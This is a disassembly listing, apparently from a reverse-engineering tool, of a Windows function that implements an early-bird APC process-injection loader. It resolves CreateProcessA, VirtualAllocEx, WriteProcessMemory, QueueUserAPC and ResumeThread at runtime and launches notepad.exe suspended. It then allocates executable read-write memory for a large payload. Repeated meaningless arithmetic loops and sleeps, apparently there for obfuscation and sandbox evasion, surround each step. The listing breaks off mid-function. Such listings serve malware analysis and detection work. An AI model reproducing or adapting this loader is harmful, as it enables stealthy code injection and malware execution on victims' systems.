Function at 0x140001cbf
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x1cc], 0
mov dword [rbp + 0x1c8], 1
mov dword [rbp + 0x1c4], 2
mov dword [rbp + 0x1c0], 0
mov dword [rbp + 0x1bc], 0
jmp 0x140001d29
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x1bc], 1
cmp dword [rbp + 0x1bc], 0x3e7
jle 0x140001d09
mov dword [rbp + 0x1b8], 0
jmp 0x140001d80
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x1c8]
mov dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x58]
mov dword [rbp + 0x1c4], eax
add dword [rbp + 0x1b8], 1
cmp dword [rbp + 0x1b8], 0x1f3
jle 0x140001d41
mov qword [rbp + 0xd8], 0xa82cdc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0
jne 0x140001df0
lea rax, str.Failed_to_get_handle_to_kernel32.dll
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140a894e0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x140003da5
mov dword [rbp + 0x1b4], 0
jmp 0x140001e1c
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x1b4], 1
cmp dword [rbp + 0x1b4], 0x3e7
jle 0x140001dfc
mov dword [rbp + 0x1b0], 0
jmp 0x140001e73
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x5c], eax
mov eax, dword [rbp + 0x1c8]
mov dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x5c]
mov dword [rbp + 0x1c4], eax
add dword [rbp + 0x1b0], 1
cmp dword [rbp + 0x1b0], 0x1f3
jle 0x140001e34
mov dword [rbp + 0x1ac], 0
jmp 0x140001ec9
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x1ac]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x1ac]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
mov dword [rbp + 0x1c0], eax
add dword [rbp + 0x1ac], 1
cmp dword [rbp + 0x1ac], 0x63
jle 0x140001e8b
mov rax, qword [rbp + 0xd0]
lea rdx, str.CreateProcessA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xc8], rax
mov dword [rbp + 0x1a8], 0
jmp 0x140001fc9
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x1a8]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x1a8]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
mov dword [rbp + 0x1c0], eax
mov ecx, dword [rbp + 0x1a8]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
test edx, edx
jne 0x140001fc2
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
mov r8d, eax
mov ecx, dword [rbp + 0x1a8]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea edi, [rdx + 1]
mov eax, dword [rbp + 0x1c4]
cdq
idiv edi
mov edx, eax
mov eax, r8d
sub eax, edx
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x1a8], 1
cmp dword [rbp + 0x1a8], 0xf9
jle 0x140001f02
mov dword [rbp + 0x1a4], 0
jmp 0x140002091
mov eax, dword [rbp + 0x1a4]
imul eax, dword [rbp + 0x1c0]
mov ecx, dword [rbp + 0x1cc]
mov edx, dword [rbp + 0x1c8]
add edx, ecx
add eax, edx
mov edx, dword [rbp + 0x1a4]
lea edi, [rdx + 1]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
sub dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add edx, eax
mov eax, dword [rbp + 0x1c4]
add eax, edx
mov edx, dword [rbp + 0x1a4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1cc], edx
mov eax, dword [rbp + 0x1c8]
imul eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x1a4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1c8], edx
mov eax, dword [rbp + 0x1c4]
sub eax, dword [rbp + 0x1cc]
mov edx, eax
mov eax, dword [rbp + 0x1c8]
add eax, edx
mov edx, dword [rbp + 0x1a4]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1c4], edx
add dword [rbp + 0x1a4], 1
cmp dword [rbp + 0x1a4], 0x63
jle 0x140001fe8
mov dword [rbp + 0x1a0], 0
jmp 0x14000210b
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x1a0]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002104
mov eax, dword [rbp + 0x1a0]
add dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c8], eax
add dword [rbp + 0x1a0], 1
cmp dword [rbp + 0x1a0], 0x1f3
jle 0x1400020aa
mov dword [rbp + 0x19c], 0
jmp 0x140002196
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x60], eax
mov ecx, dword [rbp + 0x19c]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
imul eax, dword [rbp + 0x60]
add dword [rbp + 0x1c0], eax
mov eax, dword [rbp + 0x1c8]
mov dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x60]
mov dword [rbp + 0x1c4], eax
add dword [rbp + 0x19c], 1
cmp dword [rbp + 0x19c], 0xc7
jle 0x140002123
mov dword [rbp + 0x198], 0
jmp 0x140002227
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x198]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x198]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
add dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x198]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x32
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002220
mov eax, dword [rbp + 0x1cc]
sub eax, dword [rbp + 0x1c8]
add dword [rbp + 0x1c4], eax
add dword [rbp + 0x198], 1
cmp dword [rbp + 0x198], 0x12b
jle 0x1400021ae
mov dword [rbp + 0x194], 0
jmp 0x1400022eb
mov dword [rbp + 0x190], 0
jmp 0x1400022d7
mov eax, dword [rbp + 0x194]
imul eax, dword [rbp + 0x190]
add dword [rbp + 0x1cc], eax
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x190]
add eax, edx
sub dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x190]
lea edi, [rax + 1]
mov eax, dword [rbp + 0x194]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
lea edx, [rax + 1]
mov eax, dword [rbp + 0x1c4]
imul eax, edx
mov dword [rbp + 0x1c4], eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add edx, eax
mov eax, dword [rbp + 0x1c4]
add eax, edx
mov edx, dword [rbp + 0x194]
lea edi, [rdx + 1]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x190], 1
cmp dword [rbp + 0x190], 4
jle 0x140002255
add dword [rbp + 0x194], 1
cmp dword [rbp + 0x194], 0x3e7
jle 0x140002246
mov rax, qword [rbp + 0xd0]
lea rdx, str.VirtualAllocEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xc0], rax
mov dword [rbp + 0x18c], 0
jmp 0x1400023f2
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x18c]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x18c]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
mov dword [rbp + 0x1c0], eax
mov ecx, dword [rbp + 0x18c]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
test edx, edx
jne 0x1400023eb
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
mov r8d, eax
mov ecx, dword [rbp + 0x18c]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea edi, [rdx + 1]
mov eax, dword [rbp + 0x1c4]
cdq
idiv edi
mov edx, eax
mov eax, r8d
sub eax, edx
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x18c], 1
cmp dword [rbp + 0x18c], 0xf9
jle 0x14000232b
mov dword [rbp + 0x188], 0
jmp 0x1400024ba
mov eax, dword [rbp + 0x188]
imul eax, dword [rbp + 0x1c0]
mov ecx, dword [rbp + 0x1cc]
mov edx, dword [rbp + 0x1c8]
add edx, ecx
add eax, edx
mov edx, dword [rbp + 0x188]
lea edi, [rdx + 1]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
sub dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add edx, eax
mov eax, dword [rbp + 0x1c4]
add eax, edx
mov edx, dword [rbp + 0x188]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1cc], edx
mov eax, dword [rbp + 0x1c8]
imul eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x188]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1c8], edx
mov eax, dword [rbp + 0x1c4]
sub eax, dword [rbp + 0x1cc]
mov edx, eax
mov eax, dword [rbp + 0x1c8]
add eax, edx
mov edx, dword [rbp + 0x188]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1c4], edx
add dword [rbp + 0x188], 1
cmp dword [rbp + 0x188], 0x63
jle 0x140002411
mov dword [rbp + 0x184], 0
jmp 0x140002534
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x184]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x14000252d
mov eax, dword [rbp + 0x184]
add dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c8], eax
add dword [rbp + 0x184], 1
cmp dword [rbp + 0x184], 0x1f3
jle 0x1400024d3
mov dword [rbp + 0x180], 0
jmp 0x1400025bf
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x64], eax
mov ecx, dword [rbp + 0x180]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
imul eax, dword [rbp + 0x64]
add dword [rbp + 0x1c0], eax
mov eax, dword [rbp + 0x1c8]
mov dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x64]
mov dword [rbp + 0x1c4], eax
add dword [rbp + 0x180], 1
cmp dword [rbp + 0x180], 0xc7
jle 0x14000254c
mov dword [rbp + 0x17c], 0
jmp 0x140002650
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x17c]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x17c]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
add dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x17c]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x32
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002649
mov eax, dword [rbp + 0x1cc]
sub eax, dword [rbp + 0x1c8]
add dword [rbp + 0x1c4], eax
add dword [rbp + 0x17c], 1
cmp dword [rbp + 0x17c], 0x12b
jle 0x1400025d7
mov dword [rbp + 0x178], 0
jmp 0x140002714
mov dword [rbp + 0x174], 0
jmp 0x140002700
mov eax, dword [rbp + 0x178]
imul eax, dword [rbp + 0x174]
add dword [rbp + 0x1cc], eax
mov edx, dword [rbp + 0x178]
mov eax, dword [rbp + 0x174]
add eax, edx
sub dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x174]
lea edi, [rax + 1]
mov eax, dword [rbp + 0x178]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
lea edx, [rax + 1]
mov eax, dword [rbp + 0x1c4]
imul eax, edx
mov dword [rbp + 0x1c4], eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add edx, eax
mov eax, dword [rbp + 0x1c4]
add eax, edx
mov edx, dword [rbp + 0x178]
lea edi, [rdx + 1]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x174], 1
cmp dword [rbp + 0x174], 4
jle 0x14000267e
add dword [rbp + 0x178], 1
cmp dword [rbp + 0x178], 0x3e7
jle 0x14000266f
mov rax, qword [rbp + 0xd0]
lea rdx, str.WriteProcessMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xd0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0x170], 0
jmp 0x1400027b0
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x170]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x170]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
mov dword [rbp + 0x1c0], eax
add dword [rbp + 0x170], 1
cmp dword [rbp + 0x170], 0x63
jle 0x140002772
mov rax, qword [rbp + 0xd0]
lea rdx, str.ResumeThread
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xd0]
lea rdx, str.CloseHandle
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa0], rax
cmp qword [rbp + 0xc8], 0
je 0x14000283b
cmp qword [rbp + 0xc0], 0
je 0x14000283b
cmp qword [rbp + 0xb8], 0
je 0x14000283b
cmp qword [rbp + 0xb0], 0
je 0x14000283b
cmp qword [rbp + 0xa8], 0
je 0x14000283b
cmp qword [rbp + 0xa0], 0
jne 0x1400028c3
mov dword [rbp + 0x16c], 0
jmp 0x140002885
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x16c]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x16c]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
mov dword [rbp + 0x1c0], eax
add dword [rbp + 0x16c], 1
cmp dword [rbp + 0x16c], 0x63
jle 0x140002847
lea rax, str.Failed_to_retrieve_function_addresses
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140a894e0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x140003da5
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movq qword [rbp - 0x20], xmm0
lea rax, str.C:WindowsSystem32_notepad.exe
mov qword [rbp + 0x98], rax
mov dword [rbp + 0x168], 0
jmp 0x1400029c8
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x168]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x168]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
mov dword [rbp + 0x1c0], eax
mov ecx, dword [rbp + 0x168]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
test edx, edx
jne 0x1400029c1
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
mov r8d, eax
mov ecx, dword [rbp + 0x168]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
lea edi, [rdx + 1]
mov eax, dword [rbp + 0x1c4]
cdq
idiv edi
mov edx, eax
mov eax, r8d
sub eax, edx
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x168], 1
cmp dword [rbp + 0x168], 0xf9
jle 0x140002901
mov dword [rbp + 0x164], 0
jmp 0x140002a90
mov eax, dword [rbp + 0x164]
imul eax, dword [rbp + 0x1c0]
mov ecx, dword [rbp + 0x1cc]
mov edx, dword [rbp + 0x1c8]
add edx, ecx
add eax, edx
mov edx, dword [rbp + 0x164]
lea edi, [rdx + 1]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
sub dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add edx, eax
mov eax, dword [rbp + 0x1c4]
add eax, edx
mov edx, dword [rbp + 0x164]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1cc], edx
mov eax, dword [rbp + 0x1c8]
imul eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x164]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1c8], edx
mov eax, dword [rbp + 0x1c4]
sub eax, dword [rbp + 0x1cc]
mov edx, eax
mov eax, dword [rbp + 0x1c8]
add eax, edx
mov edx, dword [rbp + 0x164]
lea ecx, [rdx + 1]
cdq
idiv ecx
mov dword [rbp + 0x1c4], edx
add dword [rbp + 0x164], 1
cmp dword [rbp + 0x164], 0x63
jle 0x1400029e7
mov dword [rbp + 0x160], 0
jmp 0x140002b0a
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x160]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002b03
mov eax, dword [rbp + 0x160]
add dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c8], eax
add dword [rbp + 0x160], 1
cmp dword [rbp + 0x160], 0x1f3
jle 0x140002aa9
mov dword [rbp + 0x15c], 0
jmp 0x140002b95
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x68], eax
mov ecx, dword [rbp + 0x15c]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
imul eax, dword [rbp + 0x68]
add dword [rbp + 0x1c0], eax
mov eax, dword [rbp + 0x1c8]
mov dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x68]
mov dword [rbp + 0x1c4], eax
add dword [rbp + 0x15c], 1
cmp dword [rbp + 0x15c], 0xc7
jle 0x140002b22
mov dword [rbp + 0x158], 0
jmp 0x140002c26
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x158]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x158]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
add dword [rbp + 0x1c0], eax
mov edx, dword [rbp + 0x158]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 4
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x32
mov eax, edx
sub eax, ecx
test eax, eax
jne 0x140002c1f
mov eax, dword [rbp + 0x1cc]
sub eax, dword [rbp + 0x1c8]
add dword [rbp + 0x1c4], eax
add dword [rbp + 0x158], 1
cmp dword [rbp + 0x158], 0x12b
jle 0x140002bad
mov dword [rbp + 0x154], 0
jmp 0x140002cea
mov dword [rbp + 0x150], 0
jmp 0x140002cd6
mov eax, dword [rbp + 0x154]
imul eax, dword [rbp + 0x150]
add dword [rbp + 0x1cc], eax
mov edx, dword [rbp + 0x154]
mov eax, dword [rbp + 0x150]
add eax, edx
sub dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x150]
lea edi, [rax + 1]
mov eax, dword [rbp + 0x154]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
lea edx, [rax + 1]
mov eax, dword [rbp + 0x1c4]
imul eax, edx
mov dword [rbp + 0x1c4], eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add edx, eax
mov eax, dword [rbp + 0x1c4]
add eax, edx
mov edx, dword [rbp + 0x154]
lea edi, [rdx + 1]
cdq
idiv edi
mov ecx, edx
mov eax, ecx
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x150], 1
cmp dword [rbp + 0x150], 4
jle 0x140002c54
add dword [rbp + 0x154], 1
cmp dword [rbp + 0x154], 0x3e7
jle 0x140002c45
lea rax, str.___Durmiendo_3_segundos..
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140a894e0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0xbb8
call sym.customSleep_unsigned_int_
mov r10, qword [rbp + 0xc8]
mov rax, qword [rbp + 0x98]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
test eax, eax
setne al
test al, al
je 0x140003da0
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x88], rax
mov dword [rbp + 0x14c], 0
jmp 0x140002dd7
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
sub eax, dword [rbp + 0x1c4]
add dword [rbp + 0x1c0], eax
add dword [rbp + 0x14c], 1
cmp dword [rbp + 0x14c], 0x3e7
jle 0x140002db7
mov dword [rbp + 0x148], 0
jmp 0x140002e2e
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x6c], eax
mov eax, dword [rbp + 0x1c8]
mov dword [rbp + 0x1cc], eax
mov eax, dword [rbp + 0x1c4]
mov dword [rbp + 0x1c8], eax
mov eax, dword [rbp + 0x6c]
mov dword [rbp + 0x1c4], eax
add dword [rbp + 0x148], 1
cmp dword [rbp + 0x148], 0x1f3
jle 0x140002def
mov dword [rbp + 0x144], 0
jmp 0x140002e84
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x144]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x144]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
mov dword [rbp + 0x1c0], eax
add dword [rbp + 0x144], 1
cmp dword [rbp + 0x144], 0x63
jle 0x140002e46
mov r10, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xd8]
mov rax, qword [rbp + 0x90]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x80], rax
cmp qword [rbp + 0x80], 0
je 0x140003da0
lea rax, str.___Durmiendo_3_segundos..
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140a894e0]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0xbb8
call sym.customSleep_unsigned_int_
mov dword [rbp + 0x140], 0
jmp 0x140002fde
mov eax, dword [rbp + 0x1c0]
imul eax, dword [rbp + 0x140]
mov ecx, eax
mov edx, dword [rbp + 0x1cc]
mov eax, dword [rbp + 0x1c8]
add eax, edx
sub eax, dword [rbp + 0x1c4]
mov edx, dword [rbp + 0x140]
lea edi, [rdx + 1]
cdq
idiv edi
add eax, ecx
mov dword [rbp + 0x1c0], eax
mov ecx, dword [rbp + 0x140]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
test edx, edx
jne 0x140002fd7
mov eax, dword [rbp + 0x1cc]
imul eax, dword [rbp + 0x1c8]
mov r8d, eax
mov ecx, dword [rbp + 0x140]
movsxd rax, ecx
imul rax, rax, 0x55555556
shr rax, 0x20
mov rdx, rax
mov eax, ecx
sar eax, 0x1f
